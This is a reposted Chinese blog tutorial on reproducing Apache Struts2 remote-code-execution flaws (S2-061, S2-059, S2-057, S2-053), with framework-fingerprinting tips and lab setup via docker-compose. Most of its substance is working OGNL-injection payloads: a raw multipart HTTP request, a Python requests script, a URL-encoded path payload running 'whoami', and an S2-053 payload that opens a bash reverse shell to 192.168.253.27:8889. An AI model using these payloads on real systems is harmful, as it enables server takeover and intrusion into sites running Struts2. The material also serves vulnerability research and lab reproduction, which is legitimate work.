struts2漏洞复现

struts2漏洞复现struts2漏洞复现简介Struts2是apache项目下的一个web框架,普遍应用于阿里巴巴、京东等互联网、政府、企业门户网站Struts2是一个基于MVC设计思路的Web应用框架,它本质

大家好,又见面了,我是你们的朋友全栈君。

struts2漏洞复现

简介

Struts2是apache项目下的一个web 框架,普遍应用于阿里巴巴、京东等互联网、政府、企业门户网站

Struts2是一个基于MVC设计思路的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器来建立模型与视图的数据交互。Struts2是Struts的下一代产品,是在Struts1和WebWork的技术基础上进行了合并的全新的Struts2框架。其全新的Struts2的体系结构与Struts1的体系结构差别巨大。Struts2以WebWork为核心,采用拦截器的机制来处理用户的请求,

这样的设计也使得业务逻辑控制器能够与Servlet API完全脱离开,所以Struts2可以理解为WebWork的更新产品。虽然从Struts1到Struts2有着太大的变化,但是相对于WebWork,Struts2的变化很小。

Apache Struts2是一个基于MVC设计模式的Web应用框架,会对某些标签属性(比如id)的属性值进行二次表达式解析,因此在某些场景下将可能导致远程代码执行。

判断框架

常规办法有

1、通过页面回显的错误消息来判断,页面不回显错误消息时则无效。

2、通过网页后缀来判断,如.do.action,有可能不准。

3、判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true。

其它的方法:

通过 actionErrors。要求是对应的 Action 需要继承自 ActionSupport 类。

利用方法:

如原始 URL 为 https://threathunter.org/则检测所用的 URL 为 https://threathunter.org/?actionErrors=1111

如果返回的页面出现异常,则可以认定为目标是基于 Struts2 构建的。异常包括但不限于以下几种现象:

1、 页面直接出现 404 或者 500 等错误。

2、 页面上输出了与业务有关错误消息,或者 1111 被回显到了页面上。

3、 页面的内容结构发生了明显的改变。

4、 页面发生了重定向。

S2-061远程执行代码漏洞

S2-061是对S2-059的绕过,Struts2官方对S2-059的修复方式是加强OGNL表达式沙盒,而S2-061绕过了该沙盒。该漏洞影响版本范围是Struts 2.0.0到Struts 2.5.25。


执行如下命令启动一个Struts2 2.5.25版本环境:

docker-compose up -d

环境启动后,访问http://target-ip:8080/index.action查看到首页。

<span role="heading" aria-level="2">struts2漏洞复现

POC:

POST /index.action HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 829

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

反弹shell:

<span role="heading" aria-level="2">struts2漏洞复现

S2-059 远程代码执行漏洞

Apache Struts框架, 会对某些特定的标签的属性值,比如id属性进行二次解析,所以攻击者可以传递将在呈现标签属性时再次解析的OGNL表达式,造成OGNL表达式注入。从而可能造成远程执行代码。


POC:

import requests

url = "http://127.0.0.1:8080"
data1 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('恶意代码'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)

<span role="heading" aria-level="2">struts2漏洞复现

S2-057 远程命令执行漏洞

当Struts2的配置满足以下条件时:

  • alwaysSelectFullNamespace值为true
  • action元素未设置namespace属性,或使用了通配符

namespace将由用户从uri传入,并作为OGNL表达式计算,最终造成任意命令执行漏洞。

影响版本: 小于等于 Struts 2.3.34 与 Struts 2.5.16


启动满足条件的 Struts 2.3.34 环境:

docker-compose up -d

环境启动后,访问http://your-ip:8080/showcase/,将可以看到Struts2的测试页面。

<span role="heading" aria-level="2">struts2漏洞复现

测试OGNL表达式${233*233}

http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action

<span role="heading" aria-level="2">struts2漏洞复现

发现233*233的结果已返回在Location头中。

POC:

/%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action

<span role="heading" aria-level="2">struts2漏洞复现

S2-053 远程代码执行漏洞

Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。


POC:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.253.27/8889 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

注:该poc末尾需要换行,输入一个回车键

<span role="heading" aria-level="2">struts2漏洞复现

工具

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/154866.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • pytorch中的卷积操作详解

    pytorch中的卷积操作详解首先说下pytorch中的Tensor通道排列顺序是:[batch,channel,height,width]我们常用的卷积(Conv2d)在pytorch中对应的函数是:torch.nn.Conv2d(in_channels,out_channels,kernel_size,stride=1,padding=0,dilation=1,groups=1,bias=Tr…

    2022年5月28日
    52
  • 什么是大数据架构?「建议收藏」

    什么是大数据架构?「建议收藏」什么是大数据架构?

    2022年4月21日
    37
  • 绝对值不等式的常见形式及解法

    绝对值不等式的常见形式及解法绝对值不等式解法的基本思路是:去掉绝对值符号,把它转化为一般的不等式求解,转化的方法一般有:(1)绝对值定义法;(2)平方法;(3)零点区域法。常见的形式有以下几种。  1. 形如不等式:利用绝对值的定义得不等式的解集为:。在数轴上的表示如图1。  2. 形如不等式:它的解集为:。在数轴上的表示如图2。  3. 形如不等式它的解法是:先化为不等式组:,再利用不等

    2022年5月22日
    42
  • CentOS镜像下载「建议收藏」

    CentOS镜像下载「建议收藏」CentOS6系统安装1、首先打开网易开源镜像站:http://mirrors.163.com/当然,大家也可以使用阿里开源镜像站:http://mirrors.aliyun.com/2、点击进入centos目录。3、因为我们选择安装centos6.5版本系统,所以点击进入6.5/目录4、我们打开里面的readme文件,找到下载地址:http://vault.cento…

    2022年6月9日
    116
  • ?条件运算符的结合——从右往左[通俗易懂]

    ?条件运算符的结合——从右往左[通俗易懂]#include<stdio.h>#include<stdlib.h>intmain(){ intmax=1; inti=11,j=13,k=5; max=i>j?i>k?i:k:j>k?j:k; printf(“max=%d\n”,max); return0;}…

    2022年10月2日
    4
  • stm32看门狗工作原理

    stm32看门狗工作原理一、为什么需要看门狗?在MCU微型计算机系统中,MCU运行程序很容易受到外界电磁场的干扰,从而造成程序运行错误甚至造成跑飞现象,从而陷入死循环,程序的正常运行被打乱,从而造成不可预料的严重后果,于是人们就设计了一款用于实时监测计算机运行状态的芯片,我们就将其称为看门狗。二、看门狗的作用看门狗会无时无刻的去喂狗,如果程序发生跑飞的现象,那么单片机程序就不能继续去喂狗,继而计数器计数到0,看门狗产生复位脉冲信号。单片机发生程序跑飞的现象才会产生一个复位脉冲强制单片机复位,从而使单片机正常运行。三、看门狗

    2022年6月9日
    22

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号